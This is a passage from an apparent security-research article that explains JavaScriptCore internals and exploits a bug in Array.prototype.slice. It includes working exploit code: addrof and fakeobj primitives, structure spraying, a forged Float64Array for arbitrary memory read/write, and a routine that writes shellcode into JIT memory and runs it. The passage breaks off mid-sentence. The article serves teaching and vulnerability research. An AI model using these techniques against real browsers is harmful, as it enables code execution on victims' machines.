Optimizing JIT compilers are typically speculative, meaning they will perform optimizations based on some speculation, e.g. 'this variable will always contain a number'. Should the speculation ever turn out to be incorrect, the code will usually bail out to one of the lower tiers. For more information about the different execution modes the reader is referred to [2] and [3]. JavaScript is a dynamically typed language. As such, type information is associated with the (runtime) values rather than (compile-time) variables. The JavaScript type system [4] defines primitive types (number, string, boolean, null, undefined, symbol) and objects (including arrays and functions). In particular, there is no concept of classes in the JavaScript language as is present in other languages. Instead, JavaScript uses what is called "prototype-based-inheritance", where each objects has a (possibly null) reference to a prototype object whose properties it incorporates. The interested reader is referred to the JavaScript specification [5] for more information. All major JavaScript engines represent a value with no more than 8 bytes for performance reasons (fast copying, fits into a register on 64-bit architectures). Some engines like Google's v8 use tagged pointers to represent values. Here the least significant bits indicate whether the value is a pointer or some form of immediate value. JavaScriptCore (JSC) and Spidermonkey in Firefox on the other hand use a concept called NaN-boxing. NaN-boxing makes use of the fact that there exist multiple bit patterns which all represent NaN, so other values can be encoded in these. Specifically, every IEEE 754 floating point value with all exponent bits set, but a fraction not equal to zero represents NaN. For double precision values [6] this leaves us with 2^51 different bit patterns (ignoring the sign bit and setting the first fraction bit to one so nullptr can still be represented). That's enough to encode both 32-bit integers and pointers, since even on 64-bit platforms only 48 bits are currently used for addressing. The scheme used by JSC is nicely explained in JSCJSValue.h, which the reader is encouraged to read. The relevant part is quoted below as it will be important later on: * The top 16-bits denote the type of the encoded JSValue: * * Pointer { 0000:PPPP:PPPP:PPPP * / 0001:****:****:**** * Double { ... * \ FFFE:****:****:**** * Integer { FFFF:0000:IIII:IIII * * The scheme we have implemented encodes double precision values by * performing a 64-bit integer addition of the value 2^48 to the number. * After this manipulation no encoded double-precision value will begin * with the pattern 0x0000 or 0xFFFF. Values must be decoded by * reversing this operation before subsequent floating point operations * may be performed. * * 32-bit signed integers are marked with the 16-bit tag 0xFFFF. * * The tag 0x0000 denotes a pointer, or another form of tagged * immediate. Boolean, null and undefined values are represented by * specific, invalid pointer values: * * False: 0x06 * True: 0x07 * Undefined: 0x0a * Null: 0x02 * Interestingly, 0x0 is not a valid JSValue and will lead to a crash inside the engine. ----[ 1.2 - Objects and Arrays Objects in JavaScript are essentially collections of properties which are stored as (key, value) pairs. Properties can be accessed either with the dot operator (foo.bar) or through square brackets (foo['bar']). At least in theory, values used as keys are converted to strings before performing the lookup. Arrays are described by the specification as special ("exotic") objects whose properties are also called elements if the property name can be represented by a 32-bit integer [7]. Most engines today extend this notion to all objects. An array then becomes an object with a special 'length' property whose value is always equal to the index of the highest element plus one. The net result of all this is that every object has both properties, accessed through a string or symbol key, and elements, accessed through integer indices. Internally, JSC stores both properties and elements in the same memory region and stores a pointer to that region in the object itself. This pointer points to the middle of the region, properties are stored to the left of it (lower addresses) and elements to the right of it. There is also a small header located just before the pointed to address that contains the length of the element vector. This concept is called a "Butterfly" since the values expand to the left and right, similar to the wings of a butterfly. Presumably. In the following, we will refer to both the pointer and the memory region as "Butterfly". In case it is not obvious from the context, the specific meaning will be noted. -------------------------------------------------------- .. | propY | propX | length | elem0 | elem1 | elem2 | .. -------------------------------------------------------- ^ | +---------------+ | +-------------+ | Some Object | +-------------+ Although typical, elements do not have to be stored linearly in memory. In particular, code such as a = []; a[0] = 42; a[10000] = 42; will likely lead to an array stored in some kind of sparse mode, which performs an additional mapping step from the given index to an index into the backing storage. That way this array does not require 10001 value slots. Besides the different array storage models, arrays can also store their data using different representations. For example, an array of 32-bit integers could be stored in native form to avoid the (NaN-)unboxing and reboxing process during most operations and save some memory. As such, JSC defines a set of different indexing types which can be found in IndexingType.h. The most important ones are: ArrayWithInt32 = IsArray | Int32Shape; ArrayWithDouble = IsArray | DoubleShape; ArrayWithContiguous = IsArray | ContiguousShape; Here, the last type stores JSValues while the former two store their native types. At this point the reader probably wonders how a property lookup is performed in this model. We will dive into this extensively later on, but the short version is that a special meta-object, called a "structure" in JSC, is associated with every object which provides a mapping from property names to slot numbers. ----[ 1.3 - Functions Functions are quite important in the JavaScript language. As such they deserve some discussion on their own. When executing a function's body, two special variables become available. One of them, 'arguments' provides access to the arguments (and caller) of the function, thus enabling the creation of function with a variable number of arguments. The other, 'this', refers to different objects depending on the invocation of the function: * If the function was called as a constructor (using 'new func()'), then 'this' points to the newly created object. Its prototype has already been set to the .prototype property of the function object, which is set to a new object during function definition. * If the function was called as a method of some object (using 'obj.func()'), then 'this' will point to the reference object. * Else 'this' simply points to the current global object, as it does outside of a function as well. Since functions are first class objects in JavaScript they too can have properties. We've already seen the .prototype property above. Two other quite interesting properties of each function (actually of the function prototype) are the .call and .apply functions, which allow calling the function with a given 'this' object and arguments. This can for example be used to implement decorator functionality: function decorate(func) { return function() { for (var i = 0; i < arguments.length; i++) { // do something with arguments[i] } return func.apply(this, arguments); }; } This also has some implications on the implementation of JavaScript functions inside the engine as they cannot make any assumptions about the value of the reference object which they are called with, as it can be set to arbitrary values from script. Thus, all internal JavaScript functions will need to check the type of not only their arguments but also of the this object. Internally, the built-in functions and methods [8] are usually implemented in one of two ways: as native functions in C++ or in JavaScript itself. Let's look at a simple example of a native function in JSC: the implementation of Math.pow(): EncodedJSValue JSC_HOST_CALL mathProtoFuncPow(ExecState* exec) { // ECMA 15.8.2.1.13 double arg = exec->argument(0).toNumber(exec); double arg2 = exec->argument(1).toNumber(exec); return JSValue::encode(JSValue(operationMathPow(arg, arg2))); } We can see: 1. The signature for native JavaScript functions 2. How arguments are extracted using the argument method (which returns the undefined value if not enough arguments were provided) 3. How arguments are converted to their required type. There is a set of conversion rules governing the conversion of e.g. arrays to numbers which toNumber will make use of. More on these later. 4. How the actual operation is performed on the native data type 5. How the result is returned to the caller. In this case simply by encoding the resulting native number into a value. There is another pattern visible here: the core implementation of various operations (in this case operationMathPow) are moved into separate functions so they can be called directly from JIT compiled code. --[ 2 - The bug The bug in question lies in the implementation of Array.prototype.slice [9]. The native function arrayProtoFuncSlice, located in ArrayPrototype.cpp, is invoked whenever the slice method is called in JavaScript: var a = [1, 2, 3, 4]; var s = a.slice(1, 3); // s now contains [2, 3] The implementation is given below with minor reformatting, some omissions for readability, and markers for the explanation below. The full implementation can be found online as well [10]. EncodedJSValue JSC_HOST_CALL arrayProtoFuncSlice(ExecState* exec) { /* [[ 1 ]] */ JSObject* thisObj = exec->thisValue() .toThis(exec, StrictMode) .toObject(exec); if (!thisObj) return JSValue::encode(JSValue()); /* [[ 2 ]] */ unsigned length = getLength(exec, thisObj); if (exec->hadException()) return JSValue::encode(jsUndefined()); /* [[ 3 ]] */ unsigned begin = argumentClampedIndexFromStartOrEnd(exec, 0, length); unsigned end = argumentClampedIndexFromStartOrEnd(exec, 1, length, length); /* [[ 4 ]] */ std::pair speciesResult = speciesConstructArray(exec, thisObj, end - begin); // We can only get an exception if we call some user function. if (UNLIKELY(speciesResult.first == SpeciesConstructResult::Exception)) return JSValue::encode(jsUndefined()); /* [[ 5 ]] */ if (LIKELY(speciesResult.first == SpeciesConstructResult::FastPath && isJSArray(thisObj))) { if (JSArray* result = asArray(thisObj)->fastSlice(*exec, begin, end - begin)) return JSValue::encode(result); } JSObject* result; if (speciesResult.first == SpeciesConstructResult::CreatedObject) result = speciesResult.second; else result = constructEmptyArray(exec, nullptr, end - begin); unsigned n = 0; for (unsigned k = begin; k < end; k++, n++) { JSValue v = getProperty(exec, thisObj, k); if (exec->hadException()) return JSValue::encode(jsUndefined()); if (v) result->putDirectIndex(exec, n, v); } setLength(exec, result, n); return JSValue::encode(result); } The code essentially does the following: 1. Obtain the reference object for the method call (this will be the array object) 2. Retrieve the length of the array 3. Convert the arguments (start and end index) into native integer types and clamp them to the range [0, length) 4. Check if a species constructor [11] should be used 5. Perform the slicing The last step is done in one of two ways: if the array is a native array with dense storage, 'fastSlice' will be used which just memcpy's the values into the new array using the given index and length. If the fast path is not possible, a simple loop is used to fetch each element and add it to the new array. Note that, in contrast to the property accessors used on the slow path, fastSlice does not perform any additional bounds checking... ;) Looking at the code, it is easy to assume that the variables 'begin' and `end` would be smaller than the size of the array after they had been converted to native integers. However, we can violate that assumption by (ab)using the JavaScript type conversion rules. ----[ 2.2 - About JavaScript conversion rules JavaScript is inherently weakly typed, meaning it will happily convert values of different types into the type that it currently requires. Consider Math.abs(), which returns the absolute value of the argument. All of the following are "valid" invocations, meaning they won't raise an exception: Math.abs(-42); // argument is a number // 42 Math.abs("-42"); // argument is a string // 42 Math.abs([]); // argument is an empty array // 0 Math.abs(true); // argument is a boolean // 1 Math.abs({}); // argument is an object // NaN In contrast, strongly-typed languages such as python will usually raise an exception (or, in case of statically-typed languages, issue a compiler error) if e.g. a string is passed to abs(). The conversion rules for numeric types are described in [12]. The rules governing the conversion from object types to numbers (and primitive types in general) are especially interesting. In particular, if the object has a callable property named "valueOf", this method will be called and the return value used if it is a primitive value. And thus: Math.abs({valueOf: function() { return -42; }}); // 42 ----[ 2.3 - Exploiting with "valueOf" In the case of `arrayProtoFuncSlice` the conversion to a primitive type is performed in argumentClampedIndexFromStartOrEnd. This method also clamps the arguments to the range [0, length): JSValue value = exec->argument(argument); if (value.isUndefined()) return undefinedValue; double indexDouble = value.toInteger(exec); // Conversion happens here if (indexDouble < 0) { indexDouble += length; return indexDouble < 0 ? 0 : static_cast(indexDouble); } return indexDouble > length ? length : static_cast(indexDouble); Now, if we modify the length of the array inside a valueOf function of one of the arguments, then the implementation of slice will continue to use the previous length, resulting in an out-of-bounds access during the memcpy. Before doing this however, we have to make sure that the element storage is actually resized if we shrink the array. For that let's have a quick look at the implementation of the .length setter. From JSArray::setLength: unsigned lengthToClear = butterfly->publicLength() - newLength; unsigned costToAllocateNewButterfly = 64; // a heuristic. if (lengthToClear > newLength && lengthToClear > costToAllocateNewButterfly) { reallocateAndShrinkButterfly(exec->vm(), newLength); return true; } This code implements a simple heuristic to avoid relocating the array too often. To force a relocation of our array we will thus need the new size to be much less then the old size. Resizing from e.g. 100 elements to 0 will do the trick. With that, here's how we can exploit Array.prototype.slice: var a = []; for (var i = 0; i < 100; i++) a.push(i + 0.123); var b = a.slice(0, {valueOf: function() { a.length = 0; return 10; }}); // b = [0.123,1.123,2.12199579146e-313,0,0,0,0,0,0,0] The correct output would have been an array of size 10 filled with 'undefined' values since the array has been cleared prior to the slice operation. However, we can see some float values in the array. Seems like we've read some stuff past the end of the array elements :) ----[ 2.4 - Reflecting on the bug This particular programming mistake is not new and has been exploited for a while now [13, 14, 15]. The core problem here is (mutable) state that is "cached" in a stack frame (in this case the length of the array object) in combination with various callback mechanisms that can execute user supplied code further down in the call stack (in this case the "valueOf" method). With this setting it is quite easy to make false assumptions about the state of the engine throughout a function. The same kind of problem appears in the DOM as well due to the various event callbacks. --[ 3 - The JavaScriptCore heaps At this point we've read data past our array but don't quite know what we are accessing there. To understand this, some background knowledge about the JSC heap allocators is required. ----[ 3.1 - Garbage collector basics JavaScript is a garbage collected language, meaning the programmer does not need to care about memory management. Instead, the garbage collector will collect unreachable objects from time to time. One approach to garbage collection is reference counting, which is used extensively in many applications. However, as of today, all major JavaScript engines instead use a mark and sweep algorithm. Here the collector regularly scans all alive objects, starting from a set of root nodes, and afterwards frees all dead objects. The root nodes are usually pointers located on the stack as well as global objects like the 'window' object in a web browser context. There are various distinctions between garbage collection systems. We will now discuss some key properties of garbage collection systems which should help the reader understand some of the related code. Readers familiar with the subject are free to skip to the end of this section. First off, JSC uses a conservative garbage collector [16]. In essence, this means that the GC does not keep track of the root nodes itself. Instead, during GC it will scan the stack for any value that could be a pointer into the heap and treats those as root nodes. In contrast, e.g. Spidermonkey uses a precise garbage collector and thus needs to wrap all references to heap objects on the stack inside a pointer class (Rooted<>) that takes care of registering the object with the garbage collector. Next, JSC uses an incremental garbage collector. This kind of garbage collector performs the marking in several steps and allows the application to run in between, reducing GC latency. However, this requires some additional effort to work correctly. Consider the following case: * the GC runs and visits some object O and all its referenced objects. It marks them as visited and later pauses so the application can run again. * O is modified and a new reference to another Object P is added to it. * Then the GC runs again but it doesn't know about P. It finishes the marking phase and frees the memory of P. To avoid this scenario, so called write barriers are inserted into the engine. These take care of notifying the garbage collector in such a scenario. These barriers are implemented in JSC with the WriteBarrier<> and CopyBarrier<> classes. Last, JSC uses both, a moving and a non-moving garbage collector. A moving garbage collector moves live objects to a different location and updates all pointers to these objects. This optimizes for the case of many dead objects since there is no runtime overhead for these: instead of adding them to a free list, the whole memory region is simply declared free. JSC stores the JavaScript objects itself, together with a few other objects, inside a non-moving heap, the marked space, while storing the butterflies and other arrays inside a moving heap, the copied space. ----[ 3.2 - Marked space The marked space is a collection of memory blocks that keep track of the allocated cells. In JSC, every object allocated in marked space must inherit from the JSCell class and thus starts with an eight byte header, which, among other fields, contains the current cell state as used by the GC. This field is used by the collector to keep track of the cells that it has already visited. There is another thing worth mentioning about the marked space: JSC stores a MarkedBlock instance at the beginning of each marked block: inline MarkedBlock* MarkedBlock::blockFor(const void* p) { return reinterpret_cast( reinterpret_cast(p) & blockMask); } This instance contains among other things a pointers to the owning Heap and VM instance which allows the engine to obtain these if they are not available in the current context. This makes it more difficult to set up fake objects, as a valid MarkedBlock instance might be required when performing certain operations. It is thus desirable to create fake objects inside a valid marked block if possible. ----[ 3.3 - Copied space The copied space stores memory buffers that are associated with some object inside the marked space. These are mostly butterflies, but the contents of typed arrays may also be located here. As such, our out-of-bounds access happens in this memory region. The copied space allocator is very simple: CheckedBoolean CopiedAllocator::tryAllocate(size_t bytes, void** out) { ASSERT(is8ByteAligned(reinterpret_cast(bytes))); size_t currentRemaining = m_currentRemaining; if (bytes > currentRemaining) return false; currentRemaining -= bytes; m_currentRemaining = currentRemaining; *out = m_currentPayloadEnd - currentRemaining - bytes; ASSERT(is8ByteAligned(*out)); return true; } This is essentially a bump allocator: it will simply return the next N bytes of memory in the current block until the block is completely used. Thus, it is almost guaranteed that two following allocations will be placed adjacent to each other in memory (the edge case being that the first fills up the current block). This is good news for us. If we allocate two arrays with one element each, then the two butterflies will be next to each other in virtually every case. --[ 4 - Building exploit primitives While the bug in question looks like an out-of-bound read at first, it is actually a more powerful primitive as it lets us "inject" JSValues of our choosing into the newly created JavaScript arrays, and thus into the engine. We will now construct two exploit primitives from the given bug, allowing us to 1. leak the address of an arbitrary JavaScript object and 2. inject a fake JavaScript Object into the engine. We will call these primitives 'addrof' and 'fakeobj'. ----[ 4.1 Prerequisites: Int64 As we've previously seen, our exploit primitive currently returns floating point values instead of integers. In fact, at least in theory, all numbers in JavaScript are 64-bit floating point numbers [17]. In reality, as already mentioned, most engines have a dedicated 32-bit integer type for performance reasons, but convert to floating point values when necessary (i.e. on overflow). It is thus not possible to represent arbitrary 64-bit integers (and in particular addresses) with primitive numbers in JavaScript. As such, a helper module had to be built which allowed storing 64-bit integer instances. It supports * Initialization of Int64 instances from different argument types: strings, numbers and byte arrays. * Assigning the result of addition and subtraction to an existing instance through the assignXXX methods. Using these methods avoids further heap allocations which might be desirable at times. * Creating new instances that store the result of an addition or subtraction through the Add and Sub functions. * Converting between doubles, JSValues and Int64 instances such that the underlying bit pattern stays the same. The last point deserves further discussing. As we've seen above, we obtain a double whose underlying memory interpreted as native integer is our desired address. We thus need to convert between native doubles and our integers such that the underlying bits stay the same. asDouble() can be thought of as running the following C code: double asDouble(uint64_t num) { return *(double*)# } The asJSValue method further respects the NaN-boxing procedure and produces a JSValue with the given bit pattern. The interested reader is referred to the int64.js file inside the attached source code archive for more details. With this out of the way let us get back to building our two exploit primitives. ----[ 4.2 addrof and fakeobj Both primitives rely on the fact that JSC stores arrays of doubles in native representation as opposed to the NaN-boxed representation. This essentially allows us to write native doubles (indexing type ArrayWithDoubles) but have the engine treat them as JSValues (indexing type ArrayWithContiguous) and vice versa. So, here are the steps required for exploiting the address leak: 1. Create an array of doubles. This will be stored internally as IndexingType ArrayWithDouble 2. Set up an object with a custom valueOf function which will 2.1 shrink the previously created array 2.2 allocate a new array containing just the object whose address we wish to know. This array will (most likely) be placed right behind the new butterfly since it's located in copied space 2.3 return a value larger than the new size of the array to trigger the bug 3. Call slice() on the target array the object from step 2 as one of the arguments We will now find the desired address in the form of a 64-bit floating point value inside the array. This works because slice() preserves the indexing type. Our new array will thus treat the data as native doubles as well, allowing us to leak arbitrary JSValue instances, and thus pointers. The fakeobj primitive works essentially the other way around. Here we inject native doubles into an array of JSValues, allowing us to create JSObject pointers: 1. Create an array of objects. This will be stored internally as IndexingType ArrayWithContiguous 2. Set up an object with a custom valueOf function which will 2.1 shrink the previously created array 2.2 allocate a new array containing just a double whose bit pattern matches the address of the JSObject we wish to inject. The double will be stored in native form since the array's IndexingType will be ArrayWithDouble 2.3 return a value larger than the new size of the array to trigger the bug 3. Call slice() on the target array the object from step 2 as one of the arguments For completeness, the implementation of both primitives is printed below. function addrof(object) { var a = []; for (var i = 0; i < 100; i++) a.push(i + 0.1337); // Array must be of type ArrayWithDoubles var hax = {valueOf: function() { a.length = 0; a = [object]; return 4; }}; var b = a.slice(0, hax); return Int64.fromDouble(b[3]); } function fakeobj(addr) { var a = []; for (var i = 0; i < 100; i++) a.push({}); // Array must be of type ArrayWithContiguous addr = addr.asDouble(); var hax = {valueOf: function() { a.length = 0; a = [addr]; return 4; }}; return a.slice(0, hax)[3]; } ----[ 4.3 - Plan of exploitation From here on our goal will be to obtain an arbitrary memory read/write primitive through a fake JavaScript object. We are faced with the following questions: Q1. What kind of object do we want to fake? Q2. How do we fake such an object? Q3. Where do we place the faked object so that we know its address? For a while now, JavaScript engines have supported typed arrays [18], an efficient and highly optimizable storage for raw binary data. These turn out to be good candidates for our fake object as they are mutable (in contrast to JavaScript strings) and thus controlling their data pointer yields an arbitrary read/write primitive usable from script. Ultimately our goal will now be to fake a Float64Array instance. We will now turn to Q2 and Q3, which require another discussion of JSC internals, namely the JSObject system. --[ 5 - Understanding the JSObject system JavaScript objects are implemented in JSC by a combination of C++ classes. At the center lies the JSObject class which is itself a JSCell (and as such tracked by the garbage collector). There are various subclasses of JSObject that loosely resemble different JavaScript objects, such as Arrays (JSArray), Typed arrays (JSArrayBufferView), or Proxys (JSProxy). We will now explore the different parts that make up JSObjects inside the JSC engine. ----[ 5.1 - Property storage Properties are the most important aspect of JavaScript objects. We have already seen how properties are stored in the engine: the butterfly. But that is only half the truth. Besides the butterfly, JSObjects can also have inline storage (6 slots by default, but subject to runtime analysis), located right after the object in memory. This can result in a slight performance gain if no butterfly ever needs to be allocated for an object. The inline storage is interesting for us since we can leak the address of an object, and thus know the address of its inline slots. These make up a good candidate to place our fake object in. As added bonus, going this way we also avoid any problem that might arise when placing an object outside of a marked block as previously discussed. This answers Q3. Let's turn to Q2 now. ----[ 5.2 - JSObject internals We will start with an example: suppose we run the following piece of JS code: obj = {'a': 0x1337, 'b': false, 'c': 13.37, 'd': [1,2,3,4]}; This will result in the following object: (lldb) x/6gx 0x10cd97c10 0x10cd97c10: 0x0100150000000136 0x0000000000000000 0x10cd97c20: 0xffff000000001337 0x0000000000000006 0x10cd97c30: 0x402bbd70a3d70a3d 0x000000010cdc7e10 The first quadword is the JSCell. The second one the Butterfly pointer, which is null since all properties are stored inline. Next are the inline JSValue slots for the four properties: an integer, false, a double, and a JSObject pointer. If we were to add more properties to the object, a butterfly would at some point be allocated to store these. So what does a JSCell contain? JSCell.h reveals: StructureID m_structureID; This is the most interesting one, we'll explore it further below. IndexingType m_indexingType; We've already seen this before. It indicates the storage mode of the object's elements. JSType m_type; Stores the type of this cell: string, symbol,function, plain object, ... TypeInfo::InlineTypeFlags m_flags; Flags that aren't too important for our purposes. JSTypeInfo.h contains further information. CellState m_cellState; We've also seen this before. It is used by the garbage collector during collection. ----[ 5.3 - About structures JSC creates meta-objects which describe the structure, or layout, of a JavaScript object. These objects represent mappings from property names to indices into the inline storage or the butterfly (both are treated as JSValue arrays). In its most basic form, such a structure could be an array of pairs. It could also be implemented as a linked list or a hash map. Instead of storing a pointer to this structure in every JSCell instance, the developers instead decided to store a 32-bit index into a structure table to save some space for the other fields. So what happens when a new property is added to an object? If this happens for the first time then a new Structure instance will be allocated, containing the previous slot indices for all exiting properties and an additional one for the new property. The property would then be stored at the corresponding index, possibly requiring a reallocation of the butterfly. To avoid repeating this process, the resulting Structure instance can be cached in the previous structure, in a data structure called "transiton table". The original structure might also be adjusted to allocate more inline or butterfly storage up front to avoid the reallocation. This mechanism ultimately makes structures reusable. Time for an example. Suppose we have the following JavaScript code: var o = { foo: 42 }; if (someCondition) o.bar = 43; else o.baz = 44; This would result in the creation of the following three Structure instances, here shown with the (arbitrary) property name to slot index mappings: +-----------------+ +-----------------+ | Structure 1 | +bar | Structure 2 | | +--------->| | | foo: 0 | | foo: 0 | +--------+--------+ | bar: 1 | | +-----------------+ | +baz +-----------------+ +-------->| Structure 3 | | | | foo: 0 | | baz: 1 | +-----------------+ Whenever this piece of code was executed again, the correct structure for the created object would then be easy to find. Essentially the same concept is used by all major engines today. V8 calls them maps or hidden classes [19] while Spidermonkey calls them Shapes. This technique also makes speculative JIT compilers simpler. Assume the following function: function foo(a) { return a.bar + 3; } Assume further that we have executed the above function a couple of times inside the interpreter and now decide to compile it to native code for better performance. How do we deal with the property lookup? We could simply jump out to the interpreter to perform the lookup, but that would be quite expensive. Assuming we've also traced the objects that were given to foo as arguments and found out they all used the same structure. We can now generate (pseudo-)assembly code like the following. Here r0 initially points to the argument object: mov r1, [r0 + #structure_id_offset]; cmp r1, #structure_id; jne bailout_to_interpreter; mov r2, [r0 + #inline_property_offset]; This is just a few instructions slower than a property access in a native language such as C. Note that the structure ID and property offset are cached inside the code itself, thus the name for these kind of code constructs: inline caches. Besides the property mappings, structures also store a reference to a ClassInfo instance. This instance contains the name of the class ("Float64Array", "HTMLParagraphElement", ...), which is also accessible from script via the following slight hack: Object.prototype.toString.call(object); // Might print "[object HTMLParagraphElement]" However, the more important property of the ClassInfo is its MethodTable reference. A MethodTable contains a set of function pointers, similar to a vtable in C++. Most of the object related operations [20] as well as some garbage collection related tasks (visiting all referenced objects for example) are implemented through methods in the method table. To give an idea about how the method table is used, the following code snippet from JSArray.cpp is shown. This function is part of the MethodTable of the ClassInfo instance for JavaScript arrays and will be called whenever a property of such an instance is deleted [21] by script bool JSArray::deleteProperty(JSCell* cell, ExecState* exec, PropertyName propertyName) { JSArray* thisObject = jsCast(cell); if (propertyName == exec->propertyNames().length) return false; return JSObject::deleteProperty(thisObject, exec, propertyName); } As we can see, deleteProperty has a special case for the .length property of an array (which it won't delete), but otherwise forwards the request to the parent implementation. The next diagram summarizes (and slightly simplifies) the relationships between the different C++ classes that together build up the JSC object system. +------------------------------------------+ | Butterfly | | baz | bar | foo | length: 2 | 42 | 13.37 | +------------------------------------------+ ^ +---------+ +----------+ | | | | +--+ JSCell | | +-----------------+ | | | | | | | +----------+ | | MethodTable | | /\ | | | References | || inherits | | Put | by ID in | +----++----+ | | Get | structure | | +-----+ | Delete | table | | JSObject | | VisitChildren | | | |<----- | ... | | +----------+ | | | | /\ | +-----------------+ | || inherits | ^ | +----++----+ | | | | | | associated | | | JSArray | | prototype | | | | | object | | +----------+ | | | | | v | +-------+--------+ +-------------------+ | | ClassInfo | | Structure +---+ +-->| | | | | | Name: "Array" | | property: slot | | | | | foo : 0 +----------+ +----------------+ | bar : 1 | | baz : 2 | | | +-------------------+ --[ 6 - Exploitation Now that we know a bit more about the internals of the JSObject class, let's get back to creating our own Float64Array instance which will provide us with an arbitrary memory read/write primitive. Clearly, the most important part will be the structure ID in the JSCell header, as the associated structure instance is what makes our piece of memory "look like" a Float64Array to the engine. We thus need to know the ID of a Float64Array structure in the structure table. ----[ 6.1 - Predicting structure IDs Unfortunately, structure IDs aren't necessarily static across different runs as they are allocated at runtime when required. Further, the IDs of structures created during engine startup are version dependent. As such we don't know the structure ID of a Float64Array instance and will need to determine it somehow. Another slight complication arises since we cannot use arbitrary structure IDs. This is because there are also structures allocated for other garbage collected cells that are not JavaScript objects (strings, symbols, regular expression objects, even structures themselves). Calling any method referenced by their method table will lead to a crash due to a failed assertion. These structures are only allocated at engine startup though, resulting in all of them having fairly low IDs. To overcome this problem we will make use of a simple spraying approach: we will spray a few thousand structures that all describe Float64Array instances, then pick a high initial ID and see if we've hit a correct one. for (var i = 0; i < 0x1000; i++) { var a = new Float64Array(1); // Add a new property to create a new Structure instance. a[randomString()] = 1337; } We can find out if we've guessed correctly by using 'instanceof'. If we did not, we simply use the next structure. while (!(fakearray instanceof Float64Array)) { // Increment structure ID by one here } Instanceof is a fairly safe operation as it will only fetch the structure, fetch the prototype from that and do a pointer comparison with the given prototype object. ----[ 6.2 - Putting things together: faking a Float64Array Float64Arrays are implemented by the native JSArrayBufferView class. In addition to the standard JSObject fields, this class also contains the pointer to the backing memory (we'll refer to it as 'vector', similar to the source code), as well as a length and mode field (both 32-bit integers). Since we place our Float64Array inside the inline slots of another object (referred to as 'container' from now on), we'll have to deal with some restrictions that arise due to the JSValue encoding. Specifically we * cannot set a nullptr butterfly pointer since null isn't a valid JSValue. This is fine for now as the butterfly won't be accessed for simple element access operations * cannot set a valid mode field since it has to be larger than 0x00010000 due to the NaN-boxing. We can freely control the length field though * can only set the vector to point to another JSObject since these are the only pointers that a JSValue can contain Due to the last constraint we'll set up the Float64Array's vector to point to a Uint8Array instance: +----------------+ +----------------+ | Float64Array | +------------->| Uint8Array | | | | | | | JSCell | | | JSCell | | butterfly | | | butterfly | | vector ------+---+ | vector | | length | | length | | mode | | mode | +----------------+ +----------------+ With this we can now set the data pointer of the second array to an arbitrary address, providing us with an arbitrary memory read/write. Below is the code for creating a fake Float64Array instance using our previous exploit primitives. The attached exploit code then creates a global 'memory' object which provides convenient methods to read from and write to arbitrary memory regions. sprayFloat64ArrayStructures(); // Create the array that will be used to // read and write arbitrary memory addresses. var hax = new Uint8Array(0x1000); var jsCellHeader = new Int64([ 00, 0x10, 00, 00, // m_structureID, current guess 0x0, // m_indexingType 0x27, // m_type, Float64Array 0x18, // m_flags, OverridesGetOwnPropertySlot | // InterceptsGetOwnPropertySlotByIndexEvenWhenLengthIsNotZero 0x1 // m_cellState, NewWhite ]); var container = { jsCellHeader: jsCellHeader.encodeAsJSVal(), butterfly: false, // Some arbitrary value vector: hax, lengthAndFlags: (new Int64('0x0001000000000010')).asJSValue() }; // Create the fake Float64Array. var address = Add(addrof(container), 16); var fakearray = fakeobj(address); // Find the correct structure ID. while (!(fakearray instanceof Float64Array)) { jsCellHeader.assignAdd(jsCellHeader, Int64.One); container.jsCellHeader = jsCellHeader.encodeAsJSVal(); } // All done, fakearray now points onto the hax array To "visualize" the result, here is some lldb output. The container object is located at 0x11321e1a0: (lldb) x/6gx 0x11321e1a0 0x11321e1a0: 0x0100150000001138 0x0000000000000000 0x11321e1b0: 0x0118270000001000 0x0000000000000006 0x11321e1c0: 0x0000000113217360 0x0001000000000010 (lldb) p *(JSC::JSArrayBufferView*)(0x11321e1a0 + 0x10) (JSC::JSArrayBufferView) $0 = { JSC::JSNonFinalObject = { JSC::JSObject = { JSC::JSCell = { m_structureID = 4096 m_indexingType = '\0' m_type = Float64ArrayType m_flags = '\x18' m_cellState = NewWhite } m_butterfly = { JSC::CopyBarrierBase = (m_value = 0x0000000000000006) } } } m_vector = { JSC::CopyBarrierBase = (m_value = 0x0000000113217360) } m_length = 16 m_mode = 65536 } Note that m_butterfly as well as m_mode are invalid as we cannot write null there. This causes no trouble for now but will be problematic once a garbage collection run occurs. We'll deal with this later. ----[ 6.3 - Executing shellcode One nice thing about JavaScript engines is the fact that all of them make use of JIT compiling. This requires writing instructions into a page in memory and later executing them. For that reasons most engines, including JSC, allocate memory regions that are both writable and executable. This is a good target for our exploit. We will use our memory read/write primitive to leak a pointer into the JIT compiled code for a JavaScript function, then write our shellcode there and call the function, resulting in our own code being executed. The attached PoC exploit implements this. Below is the relevant part of the runShellcode function. // This simply creates a function and calls it multiple times to // trigger JIT compilation. var func = makeJITCompiledFunction(); var funcAddr = addrof(func); print("[+] Shellcode function object @ " + funcAddr); var executableAddr = memory.readInt64(Add(funcAddr, 24)); print("[+] Executable instance @ " + executableAddr); var jitCodeAddr = memory.readInt64(Add(executableAddr, 16)); print("[+] JITCode instance @ " + jitCodeAddr); var codeAddr = memory.readInt64(Add(jitCodeAddr, 32)); print("[+] RWX memory @ " + codeAddr.toString()); print("[+] Writing shellcode..."); memory.write(codeAddr, shellcode); print("[!] Jumping into shellcode..."); func(); As can be seen, the PoC code performs the pointer leaking by reading a couple of pointers from fixed offsets into a set of objects, starting from a JavaScript function object. This isn't great (since offsets can change between versions), but suffices for demonstration purposes. As a first improvement, one should try to detect valid pointers using some simple heuristics (highest bits all zero, "close" to other known memory regions, ...). Next, it might be possible to detect some objects based on unique memory patterns. For example, all classes inheriting from JSCell (such as ExecutableBase) will start with a recognizable header. Also, the JIT compiled code itself will likely start with a known function prologue. Note that starting with iOS 10, JSC no longer allocates a single RWX region but rather uses two virtual mappings to the same physical memory region, one of them executable and the other one writable. A special version of memcpy is then emitted at runtime which contains the (random) address of the writable region as immediate value and is mapped --X, preventing an attacker from reading the address. To bypass this, a short ROP chain would now be required to call this memcpy before jumping into the executable mapping. ----[ 6.4 - Staying alive past garbage collection If we wanted to keep our renderer process alive past our initial exploit (we'll later see why we might want that), we are currently faced with an immediate crash once the garbage collector kicks in. This happens mainly because the butterfly of our faked Float64Array is an invalid pointer, but not null, and will thus be accessed during GC. From JSObject::visitChildren: Butterfly* butterfly = thisObject->m_butterfly.get(); if (butterfly) thisObject->visitButterfly(visitor, butterfly, thisObject->structure(visitor.vm())); We could set the butterfly pointer of our fake array to nullptr, but this would lead to another crash since that value is also a property of our container object and would be treated as a JSObject pointer. We will thus do the following: 1. Create an empty object. The structure of this object will describe an object with the default amount of inline storage (6 